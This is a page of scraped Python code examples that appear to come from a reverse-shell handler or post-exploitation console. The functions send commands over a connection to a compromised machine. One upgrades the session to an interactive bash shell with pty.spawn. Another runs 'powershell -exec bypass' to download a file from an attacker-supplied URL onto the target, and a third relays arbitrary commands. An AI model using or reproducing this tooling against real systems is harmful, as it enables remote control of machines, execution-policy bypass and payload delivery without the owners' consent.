Ejemplo n.º 1
0
def parse(cmd, conn):
    global args
    global description

    try:
        parser = argparse.ArgumentParser(description=description)

        parser.add_argument('-v',
                            '--version',
                            type=str,
                            choices=['python', 'python3'],
                            help='python version to run command')
        parser.add_argument('-s',
                            '--show',
                            action='store_true',
                            help='show command(s) being run')

        if len(cmd) == 0:
            parser.print_help()
            print()
            return False

        args = parser.parse_args(cmd)
        return True
    except:
        conn.send(str.encode('\n'))
        text = connection.recieve(conn)
        text[0] = text[0].replace('\r', '\n')

        if isColor:
            print(Fore.LIGHTMAGENTA_EX + text[0] + Fore.RESET)
        else:
            print(text[0])

        return False
Ejemplo n.º 2
0
def execute(cmd, conn, isColor):
    cmd = cmd.split(cmdstring)[1].lstrip().split()
    if parse(cmd, conn):
        try:
            return command(conn, isColor)
        except:
            print_error('bad command')
    else:
        conn.send(str.encode('\n'))
        text = connection.recieve(conn)
        return text[1]
Ejemplo n.º 3
0
def command(conn, isColor):
    command = args.version + ' -c \"import pty;pty.spawn(\'/bin/bash\')\"'

    #show command if user wants to see
    if args.show:
        print_notification(command)

    conn.send(str.encode(command + '\n'))
    text = connection.recieve(conn)
    text[0] = text[0].replace('\r', '\n')

    if isColor:
        print(Fore.LIGHTMAGENTA_EX + text[0] + Fore.RESET)
    else:
        print(text[0])

    return text[1]
Ejemplo n.º 4
0
def command(conn, isColor):
    command = 'powershell -exec bypass \"(New-Object System.Net.WebClient).DownloadFile(\'' + args.url + '\', \'' + args.file + '\')\"'

    #show command if user wants to see
    if args.show:
        print_notification(command)

    conn.send(str.encode(command + '\n'))
    text = connection.recieve(conn)
    text[0] = text[0].replace('\r', '\n')

    if isColor:
        print(Fore.LIGHTMAGENTA_EX + text[0] + Fore.RESET)
    else:
        print(text[0])

    return text[1]
Ejemplo n.º 5
0
def command(conn, isColor):
    command = args.test

    #show command if user wants to see
    if args.show:
        print_notification(command)

    conn.send(str.encode(args.test + '\n'))
    text = connection.recieve(conn)
    text[0] = text[0].replace('\r', '\n')

    if isColor:
        print(Fore.LIGHTMAGENTA_EX + text[0] + Fore.RESET)
    else:
        print(text[0])

    return text[1]